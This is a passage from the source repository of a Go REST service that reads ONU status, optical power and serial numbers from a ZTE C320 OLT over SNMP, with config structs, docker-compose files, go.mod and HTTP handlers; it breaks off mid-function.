350 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
351 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
352 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
353 | }
354 |
355 | type Board2Pon4 struct {
356 | OnuIDNameOID string `mapstructure:"onu_id_name"`
357 | OnuTypeOID string `mapstructure:"onu_type"`
358 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
359 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
360 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
361 | OnuStatusOID string `mapstructure:"onu_status_id"`
362 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
363 | OnuDescriptionOID string `mapstructure:"onu_description"`
364 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
365 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
366 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
367 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
368 | }
369 |
370 | type Board2Pon5 struct {
371 | OnuIDNameOID string `mapstructure:"onu_id_name"`
372 | OnuTypeOID string `mapstructure:"onu_type"`
373 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
374 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
375 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
376 | OnuStatusOID string `mapstructure:"onu_status_id"`
377 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
378 | OnuDescriptionOID string `mapstructure:"onu_description"`
379 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
380 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
381 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
382 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
383 | }
384 |
385 | type Board2Pon6 struct {
386 | OnuIDNameOID string `mapstructure:"onu_id_name"`
387 | OnuTypeOID string `mapstructure:"onu_type"`
388 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
389 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
390 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
391 | OnuStatusOID string `mapstructure:"onu_status_id"`
392 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
393 | OnuDescriptionOID string `mapstructure:"onu_description"`
394 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
395 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
396 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
397 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
398 | }
399 |
400 | type Board2Pon7 struct {
401 | OnuIDNameOID string `mapstructure:"onu_id_name"`
402 | OnuTypeOID string `mapstructure:"onu_type"`
403 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
404 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
405 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
406 | OnuStatusOID string `mapstructure:"onu_status_id"`
407 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
408 | OnuDescriptionOID string `mapstructure:"onu_description"`
409 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
410 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
411 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
412 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
413 | }
414 |
415 | type Board2Pon8 struct {
416 | OnuIDNameOID string `mapstructure:"onu_id_name"`
417 | OnuTypeOID string `mapstructure:"onu_type"`
418 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
419 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
420 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
421 | OnuStatusOID string `mapstructure:"onu_status_id"`
422 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
423 | OnuDescriptionOID string `mapstructure:"onu_description"`
424 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
425 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
426 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
427 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
428 | }
429 |
430 | type Board2Pon9 struct {
431 | OnuIDNameOID string `mapstructure:"onu_id_name"`
432 | OnuTypeOID string `mapstructure:"onu_type"`
433 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
434 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
435 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
436 | OnuStatusOID string `mapstructure:"onu_status_id"`
437 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
438 | OnuDescriptionOID string `mapstructure:"onu_description"`
439 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
440 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
441 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
442 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
443 | }
444 |
445 | type Board2Pon10 struct {
446 | OnuIDNameOID string `mapstructure:"onu_id_name"`
447 | OnuTypeOID string `mapstructure:"onu_type"`
448 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
449 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
450 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
451 | OnuStatusOID string `mapstructure:"onu_status_id"`
452 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
453 | OnuDescriptionOID string `mapstructure:"onu_description"`
454 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
455 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
456 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
457 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
458 | }
459 |
460 | type Board2Pon11 struct {
461 | OnuIDNameOID string `mapstructure:"onu_id_name"`
462 | OnuTypeOID string `mapstructure:"onu_type"`
463 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
464 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
465 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
466 | OnuStatusOID string `mapstructure:"onu_status_id"`
467 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
468 | OnuDescriptionOID string `mapstructure:"onu_description"`
469 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
470 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
471 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
472 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
473 | }
474 |
475 | type Board2Pon12 struct {
476 | OnuIDNameOID string `mapstructure:"onu_id_name"`
477 | OnuTypeOID string `mapstructure:"onu_type"`
478 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
479 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
480 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
481 | OnuStatusOID string `mapstructure:"onu_status_id"`
482 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
483 | OnuDescriptionOID string `mapstructure:"onu_description"`
484 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
485 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
486 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
487 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
488 | }
489 |
490 | type Board2Pon13 struct {
491 | OnuIDNameOID string `mapstructure:"onu_id_name"`
492 | OnuTypeOID string `mapstructure:"onu_type"`
493 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
494 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
495 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
496 | OnuStatusOID string `mapstructure:"onu_status_id"`
497 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
498 | OnuDescriptionOID string `mapstructure:"onu_description"`
499 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
500 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
501 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
502 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
503 | }
504 |
505 | type Board2Pon14 struct {
506 | OnuIDNameOID string `mapstructure:"onu_id_name"`
507 | OnuTypeOID string `mapstructure:"onu_type"`
508 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
509 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
510 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
511 | OnuStatusOID string `mapstructure:"onu_status_id"`
512 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
513 | OnuDescriptionOID string `mapstructure:"onu_description"`
514 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
515 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
516 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
517 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
518 | }
519 |
520 | type Board2Pon15 struct {
521 | OnuIDNameOID string `mapstructure:"onu_id_name"`
522 | OnuTypeOID string `mapstructure:"onu_type"`
523 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
524 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
525 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
526 | OnuStatusOID string `mapstructure:"onu_status_id"`
527 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
528 | OnuDescriptionOID string `mapstructure:"onu_description"`
529 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
530 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
531 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
532 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
533 | }
534 |
535 | type Board2Pon16 struct {
536 | OnuIDNameOID string `mapstructure:"onu_id_name"`
537 | OnuTypeOID string `mapstructure:"onu_type"`
538 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
539 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
540 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
541 | OnuStatusOID string `mapstructure:"onu_status_id"`
542 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
543 | OnuDescriptionOID string `mapstructure:"onu_description"`
544 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
545 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
546 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
547 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
548 | }
549 |
550 | // LoadConfig file from given path using viper
551 | func LoadConfig(filename string) (*Config, error) {
552 |
553 | // Initialize viper
554 | v := viper.New()
555 |
556 | // Set config file name
557 | v.SetConfigName(filename)
558 |
559 | // Set config path in current directory
560 | v.AddConfigPath(".")
561 |
562 | // Allow environment variables to override config
563 | v.AutomaticEnv()
564 |
565 | // Read config file
566 | if err := v.ReadInConfig(); err != nil {
567 | var configFileNotFoundError viper.ConfigFileNotFoundError // Initialize config file not found error
568 | if errors.As(err, &configFileNotFoundError) {
569 | return nil, errors.New("config file not found")
570 | }
571 | return nil, err
572 | }
573 |
574 | var cfg Config // Initialize config variable
575 |
576 | // Unmarshal config
577 | if err := v.Unmarshal(&cfg); err != nil {
578 | return nil, err
579 | }
580 |
581 | return &cfg, nil
582 | }
583 |
--------------------------------------------------------------------------------
/docker-compose.dev.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | app:
3 | restart: always
4 | container_name: go-snmp-olt-zte-c320
5 | build:
6 | context: .
7 | target: dev
8 | command: air -c .air.toml
9 | environment:
10 | - APP_ENV=development
11 | - REDIS_HOST=redis
12 | - REDIS_PORT=6379
13 | - REDIS_DB=0
14 | - REDIS_MIN_IDLE_CONNECTIONS=200
15 | - REDIS_POOL_SIZE=12000
16 | - REDIS_POOL_TIMEOUT=240
17 | - SNMP_HOST=192.168.213.174
18 | - SNMP_PORT=161
19 | - SNMP_COMMUNITY=homenetro
20 | volumes:
21 | - ./:/app
22 | depends_on:
23 | - redis
24 | ports:
25 | - "8081:8081"
26 |
27 | redis:
28 | container_name: redis
29 | image: redis:7.2
30 | ports:
31 | - "6379:6379"
--------------------------------------------------------------------------------
/docker-compose.local.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | redis:
3 | container_name: redis
4 | image: redis:7.2
5 | ports:
6 | - "6379:6379"
--------------------------------------------------------------------------------
/docker-compose.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | app:
3 | image: sumitroajiprabowo/go-snmp-olt-zte-c320:latest
4 | container_name: go-snmp-olt-zte-c320
5 | environment:
6 | - REDIS_HOST=redis
7 | - REDIS_PORT=6379
8 | - REDIS_DB=0
9 | - REDIS_MIN_IDLE_CONNECTIONS=200
10 | - REDIS_POOL_SIZE=12000
11 | - REDIS_POOL_TIMEOUT=240
12 | - SNMP_HOST=192.168.213.174
13 | - SNMP_PORT=161
14 | - SNMP_COMMUNITY=homenetro
15 | depends_on:
16 | - redis
17 | ports:
18 | - "8081:8081"
19 |
20 | redis:
21 | container_name: redis
22 | image: redis:7.2
23 | ports:
24 | - "6379:6379"
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/megadata-dev/go-snmp-olt-zte-c320
2 |
3 | go 1.23.0
4 |
5 | toolchain go1.24.1
6 |
7 | require (
8 | github.com/go-chi/chi/v5 v5.2.1
9 | github.com/go-chi/cors v1.2.1
10 | github.com/gosnmp/gosnmp v1.36.1
11 | github.com/pkg/errors v0.9.1
12 | github.com/redis/go-redis/v9 v9.7.3
13 | github.com/rs/zerolog v1.31.0
14 | github.com/spf13/viper v1.17.0
15 | github.com/stretchr/testify v1.8.4
16 | golang.org/x/sync v0.13.0
17 | )
18 |
19 | require (
20 | github.com/cespare/xxhash/v2 v2.2.0 // indirect
21 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
22 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
23 | github.com/fsnotify/fsnotify v1.6.0 // indirect
24 | github.com/hashicorp/hcl v1.0.0 // indirect
25 | github.com/magiconair/properties v1.8.7 // indirect
26 | github.com/mattn/go-colorable v0.1.13 // indirect
27 | github.com/mattn/go-isatty v0.0.20 // indirect
28 | github.com/mitchellh/mapstructure v1.5.0 // indirect
29 | github.com/pelletier/go-toml/v2 v2.1.0 // indirect
30 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
31 | github.com/sagikazarmark/locafero v0.3.0 // indirect
32 | github.com/sagikazarmark/slog-shim v0.1.0 // indirect
33 | github.com/sourcegraph/conc v0.3.0 // indirect
34 | github.com/spf13/afero v1.10.0 // indirect
35 | github.com/spf13/cast v1.5.1 // indirect
36 | github.com/spf13/pflag v1.0.5 // indirect
37 | github.com/subosito/gotenv v1.6.0 // indirect
38 | go.uber.org/atomic v1.9.0 // indirect
39 | go.uber.org/multierr v1.9.0 // indirect
40 | golang.org/x/exp v0.0.0-20230905200255-921286631fa9 // indirect
41 | golang.org/x/sys v0.13.0 // indirect
42 | golang.org/x/text v0.13.0 // indirect
43 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
44 | gopkg.in/ini.v1 v1.67.0 // indirect
45 | gopkg.in/yaml.v3 v3.0.1 // indirect
46 | )
47 |
--------------------------------------------------------------------------------
/internal/handler/onu.go:
--------------------------------------------------------------------------------
1 | package handler
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "strconv"
7 |
8 | "github.com/go-chi/chi/v5"
9 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/usecase"
10 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/utils"
11 | "github.com/megadata-dev/go-snmp-olt-zte-c320/pkg/pagination"
12 | "github.com/rs/zerolog/log"
13 | )
14 |
15 | type OnuHandlerInterface interface {
16 | GetByBoardIDAndPonID(w http.ResponseWriter, r *http.Request)
17 | GetByBoardIDPonIDAndOnuID(w http.ResponseWriter, r *http.Request)
18 | GetEmptyOnuID(w http.ResponseWriter, r *http.Request)
19 | GetOnuIDAndSerialNumber(w http.ResponseWriter, r *http.Request)
20 | UpdateEmptyOnuID(w http.ResponseWriter, r *http.Request)
21 | GetByBoardIDAndPonIDWithPaginate(w http.ResponseWriter, r *http.Request)
22 | }
23 |
24 | type OnuHandler struct {
25 | ponUsecase usecase.OnuUseCaseInterface
26 | }
27 |
28 | func NewOnuHandler(ponUsecase usecase.OnuUseCaseInterface) *OnuHandler {
29 | return &OnuHandler{ponUsecase: ponUsecase}
30 | }
31 |
32 | func (o *OnuHandler) GetByBoardIDAndPonID(w http.ResponseWriter, r *http.Request) {
33 |
34 | boardID := chi.URLParam(r, "board_id") // 1 or 2
35 | ponID := chi.URLParam(r, "pon_id") // 1 - 8
36 |
37 | boardIDInt, err := strconv.Atoi(boardID) // convert string to int
38 |
39 | log.Info().Msg("Received a request to GetByBoardIDAndPonID")
40 |
41 | // Validate boardIDInt value and return error 400 if boardIDInt is not 1 or 2
42 | if err != nil || (boardIDInt != 1 && boardIDInt != 2) {
43 | log.Error().Err(err).Msg("Invalid 'board_id' parameter")
44 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'board_id' parameter. It must be 1 or 2")) // error 400
45 | return
46 | }
47 |
48 | ponIDInt, err := strconv.Atoi(ponID) // convert string to int
49 |
50 | // Validate ponIDInt value and return error 400 if ponIDInt is not between 1 and 8
51 | if err != nil || ponIDInt < 1 || ponIDInt > 16 {
52 | log.Error().Err(err).Msg("Invalid 'pon_id' parameter")
53 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'pon_id' parameter. It must be between 1 and 16")) // error 400
54 | return
55 | }
56 |
57 | query := r.URL.Query() // Get query parameters from the request
58 |
59 | log.Debug().Interface("query_parameters", query).Msg("Received query parameters")
60 |
61 | //Validate query parameters and return error 400 if query parameters is not "onu_id" or empty query parameters
62 | if len(query) > 0 && query["onu_id"] == nil {
63 | log.Error().Msg("Invalid query parameter")
64 | utils.ErrorBadRequest(w, fmt.Errorf("invalid query parameter")) // error 400
65 | return
66 | }
67 |
68 | // Call usecase to get data from SNMP
69 | onuInfoList, err := o.ponUsecase.GetByBoardIDAndPonID(r.Context(), boardIDInt, ponIDInt)
70 | if err != nil {
71 | log.Error().Err(err).Msg("Failed to get data from SNMP")
72 | utils.ErrorInternalServerError(w, fmt.Errorf("cannot get data from snmp")) // error 500
73 | return
74 | }
75 |
76 | log.Info().Msg("Successfully retrieved data from SNMP")
77 |
78 | /*
79 | Validate onuInfoList value
80 | If onuInfoList is empty, return error 404
81 | */
82 |
83 | if len(onuInfoList) == 0 {
84 | log.Warn().Msg("Data not found")
85 | utils.ErrorNotFound(w, fmt.Errorf("data not found")) // error 404
86 | return
87 | }
88 |
89 | // Convert result to JSON format according to WebResponse structure
90 | response := utils.WebResponse{
91 | Code: http.StatusOK, // 200
92 | Status: "OK", // "OK"
93 | Data: onuInfoList, // data
94 | }
95 |
96 | utils.SendJSONResponse(w, http.StatusOK, response) // 200
97 |
98 | }
99 |
100 | func (o *OnuHandler) GetByBoardIDPonIDAndOnuID(w http.ResponseWriter, r *http.Request) {
101 |
102 | boardID := chi.URLParam(r, "board_id") // 1 or 2
103 | ponID := chi.URLParam(r, "pon_id") // 1 - 8
104 | onuID := chi.URLParam(r, "onu_id") // 1 - 128
105 |
106 | boardIDInt, err := strconv.Atoi(boardID) // convert string to int
107 |
108 | log.Info().Msg("Received a request to GetByBoardIDPonIDAndOnuID")
109 |
110 | // Validate boardIDInt value and return error 400 if boardIDInt is not 1 or 2
111 | if err != nil || (boardIDInt != 1 && boardIDInt != 2) {
112 | log.Error().Err(err).Msg("Invalid 'board_id' parameter")
113 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'board_id' parameter. It must be 1 or 2")) // error 400
114 | return
115 | }
116 |
117 | ponIDInt, err := strconv.Atoi(ponID) // convert string to int
118 |
119 | // Validate ponIDInt value and return error 400 if ponIDInt is not between 1 and 8
120 | if err != nil || ponIDInt < 1 || ponIDInt > 16 {
121 | log.Error().Err(err).Msg("Invalid 'pon_id' parameter")
122 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'pon_id' parameter. It must be between 1 and 16")) // error 400
123 | return
124 | }
125 |
126 | onuIDInt, err := strconv.Atoi(onuID) // convert string to int
127 |
128 | // Validate onuIDInt value and return error 400 if onuIDInt is not between 1 and 128
129 | if err != nil || onuIDInt < 1 || onuIDInt > 128 {
130 | log.Error().Err(err).Msg("Invalid 'onu_id' parameter")
131 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'onu_id' parameter. It must be between 1 and 128")) // error 400
132 | return
133 | }
134 |
135 | // Call usecase to get data from SNMP
136 | onuInfoList, err := o.ponUsecase.GetByBoardIDPonIDAndOnuID(boardIDInt, ponIDInt, onuIDInt)
137 |
138 | if err != nil {
139 | log.Error().Err(err).Msg("Failed to get data from SNMP")
140 | utils.ErrorInternalServerError(w, fmt.Errorf("cannot get data from snmp")) // error 500
141 | return
142 | }
143 |
144 | log.Info().Msg("Successfully retrieved data from SNMP")
145 |
146 | /*
147 | Validate onuInfoList value
148 | If onuInfoList.Board, onuInfoList.PON, and onuInfoList.ID is 0, return error 404
149 | example: http://localhost:8080/board/1/pon/1/onu/129
150 | */
151 |
152 | if onuInfoList.Board == 0 && onuInfoList.PON == 0 && onuInfoList.ID == 0 {
153 | log.Error().Msg("Data not found")
154 | utils.ErrorNotFound(w, fmt.Errorf("data not found")) // error 404
155 | return
156 | }
157 |
158 | // Convert a result to JSON format according to WebResponse structure
159 | response := utils.WebResponse{
160 | Code: http.StatusOK, // 200
161 | Status: "OK", // "OK"
162 | Data: onuInfoList, // data
163 | }
164 |
165 | utils.SendJSONResponse(w, http.StatusOK, response) // 200
166 | }
167 |
168 | func (o *OnuHandler) GetEmptyOnuID(w http.ResponseWriter, r *http.Request) {
169 |
170 | boardID := chi.URLParam(r, "board_id") // 1 or 2
171 | ponID := chi.URLParam(r, "pon_id") // 1 - 8
172 |
173 | boardIDInt, err := strconv.Atoi(boardID) // convert string to int
174 |
175 | log.Info().Msg("Received a request to GetEmptyOnuID")
176 |
177 | // Validate boardIDInt value and return error 400 if boardIDInt is not 1 or 2
178 | if err != nil || (boardIDInt != 1 && boardIDInt != 2) {
179 | log.Error().Err(err).Msg("Invalid 'board_id' parameter")
180 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'board_id' parameter. It must be 1 or 2")) // error 400
181 | return
182 | }
183 |
184 | ponIDInt, err := strconv.Atoi(ponID) // convert string to int
185 |
186 | // Validate ponIDInt value and return error 400 if ponIDInt is not between 1 and 8
187 | if err != nil || ponIDInt < 1 || ponIDInt > 16 {
188 | log.Error().Err(err).Msg("Invalid 'pon_id' parameter")
189 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'pon_id' parameter. It must be between 1 and 16")) // error 400
190 | return
191 | }
192 |
193 | // Call usecase to get data from SNMP
194 | onuIDEmptyList, err := o.ponUsecase.GetEmptyOnuID(r.Context(), boardIDInt, ponIDInt)
195 |
196 | if err != nil {
197 | log.Error().Err(err).Msg("Failed to get data from SNMP")
198 | utils.ErrorInternalServerError(w, fmt.Errorf("cannot get data from snmp")) // error 500
199 | return
200 | }
201 |
202 | log.Info().Msg("Successfully retrieved data from SNMP")
203 |
204 | // Convert result to JSON format according to WebResponse structure
205 | response := utils.WebResponse{
206 | Code: http.StatusOK, // 200
207 | Status: "OK", // "OK"
208 | Data: onuIDEmptyList, // data
209 | }
210 |
211 | utils.SendJSONResponse(w, http.StatusOK, response) // 200
212 | }
213 |
214 | func (o *OnuHandler) GetOnuIDAndSerialNumber(w http.ResponseWriter, r *http.Request) {
215 |
216 | boardID := chi.URLParam(r, "board_id") // 1 or 2
217 | ponID := chi.URLParam(r, "pon_id") // 1 - 8
218 |
219 | boardIDInt, err := strconv.Atoi(boardID) // convert string to int
220 |
221 | log.Info().Msg("Received a request to GetOnuSerialNumber")
222 |
223 | // Validate boardIDInt value and return error 400 if boardIDInt is not 1 or 2
224 | if err != nil || (boardIDInt != 1 && boardIDInt != 2) {
225 | log.Error().Err(err).Msg("Invalid 'board_id' parameter")
226 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'board_id' parameter. It must be 1 or 2")) // error 400
227 | return
228 | }
229 |
230 | ponIDInt, err := strconv.Atoi(ponID) // convert string to int
231 |
232 | // Validate ponIDInt value and return error 400 if ponIDInt is not between 1 and 8
233 | if err != nil || ponIDInt < 1 || ponIDInt > 16 {
234 | log.Error().Err(err).Msg("Invalid 'pon_id' parameter")
235 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'pon_id' parameter. It must be between 1 and 16")) // error 400
236 | return
237 | }
238 |
239 | // Call usecase to get Serial Number from SNMP
240 | onuSerialNumber, err := o.ponUsecase.GetOnuIDAndSerialNumber(boardIDInt, ponIDInt)
241 |
242 | if err != nil {
243 | log.Error().Err(err).Msg("Failed to get data from SNMP")
244 | utils.ErrorInternalServerError(w, fmt.Errorf("cannot get data from snmp")) // error 500
245 | return
246 | }
247 |
248 | log.Info().Msg("Successfully retrieved data from SNMP")
249 |
250 | // Convert a result to JSON format according to WebResponse structure
251 | response := utils.WebResponse{
252 | Code: http.StatusOK, // 200
253 | Status: "OK", // "OK"
254 | Data: onuSerialNumber, // data
255 | }
256 |
257 | utils.SendJSONResponse(w, http.StatusOK, response) // 200
258 | }
259 |
260 | func (o *OnuHandler) UpdateEmptyOnuID(w http.ResponseWriter, r *http.Request) {
261 | boardID := chi.URLParam(r, "board_id") // 1 or 2
262 | ponID := chi.URLParam(r, "pon_id") // 1 - 8
263 |
264 | boardIDInt, err := strconv.Atoi(boardID) // convert string to int
265 |
266 | log.Info().Msg("Received a request to UpdateEmptyOnuID")
267 |
268 | // Validate boardIDInt value and return error 400 if boardIDInt is not 1 or 2
269 | if err != nil || (boardIDInt != 1 && boardIDInt != 2) {
270 | log.Error().Err(err).Msg("Invalid 'board_id' parameter")
271 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'board_id' parameter. It must be 0 or 1")) // error 400
272 | return
273 | }
274 |
275 | ponIDInt, err := strconv.Atoi(ponID) // convert string to int
276 |
277 | // Validate ponIDInt value and return error 400 if ponIDInt is not between 1 and 8
278 | if err != nil || ponIDInt < 1 || ponIDInt > 16 {
279 | log.Error().Err(err).Msg("Invalid 'pon_id' parameter")
280 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'pon_id' parameter. It must be between 1 and 16")) // error 400
281 | return
282 | }
283 |
284 | // Call usecase to get data from SNMP
285 | err = o.ponUsecase.UpdateEmptyOnuID(r.Context(), boardIDInt, ponIDInt)
286 |
287 | if err != nil {
288 | log.Error().Err(err).Msg("Failed to get data from SNMP")
289 | utils.ErrorInternalServerError(w, fmt.Errorf("cannot get data from snmp")) // error 500
290 | return
291 | }
292 |
293 | log.Info().Msg("Successfully retrieved data from SNMP")
294 |
295 | // Convert result to JSON format according to WebResponse structure
296 | response := utils.WebResponse{
297 | Code: http.StatusOK, // 200
298 | Status: "OK", // "OK"
299 | Data: "Success Update Empty ONU_ID", // data
300 | }
301 |
302 | utils.SendJSONResponse(w, http.StatusOK, response) // 200
303 | }
304 |
305 | func (o *OnuHandler) GetByBoardIDAndPonIDWithPaginate(w http.ResponseWriter, r *http.Request) {
306 |
307 | boardID := chi.URLParam(r, "board_id") // 1 or 2
308 | ponID := chi.URLParam(r, "pon_id") // 1 - 8
309 |
310 | // Get page and page size parameters from the request
311 | pageIndex, pageSize := pagination.GetPaginationParametersFromRequest(r)
312 |
313 | boardIDInt, err := strconv.Atoi(boardID) // convert string to int
314 |
315 | log.Info().Msg("Received a request to GetByBoardIDAndPonIDWithPaginate")
316 |
317 | // Validate boardIDInt value and return error 400 if boardIDInt is not 1 or 2
318 | if err != nil || (boardIDInt != 1 && boardIDInt != 2) {
319 | log.Error().Err(err).Msg("Invalid 'board_id' parameter")
320 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'board_id' parameter. It must be 1 or 2")) // error 400
321 | return
322 | }
323 |
324 | ponIDInt, err := strconv.Atoi(ponID) // convert string to int
325 |
326 | // Validate ponIDInt value and return error 400 if ponIDInt is not between 1 and 8
327 | if err != nil || ponIDInt < 1 || ponIDInt > 16 {
328 | log.Error().Err(err).Msg("Invalid 'pon_id' parameter")
329 | utils.ErrorBadRequest(w, fmt.Errorf("invalid 'pon_id' parameter. It must be between 1 and 16")) // error 400
330 | return
331 | }
332 |
333 | item, count := o.ponUsecase.GetByBoardIDAndPonIDWithPagination(boardIDInt, ponIDInt, pageIndex,
334 | pageSize)
335 |
336 | /*
337 | Validate item value
338 | If item is empty, return error 404
339 | */
340 |
341 | if len(item) == 0 {
342 | log.Error().Msg("Data not found")
343 | utils.ErrorNotFound(w, fmt.Errorf("data not found")) // error 404
344 | return
345 | }
346 |
347 | // Convert result to JSON format according to Pages structure
348 | pages := pagination.New(pageIndex, pageSize, count)
349 |
350 | // Convert result to JSON format according to WebResponse structure
351 | responsePagination := pagination.Pages{
352 | Code: http.StatusOK, // 200
353 | Status: "OK", // "OK"
354 | Page: pages.Page, // page
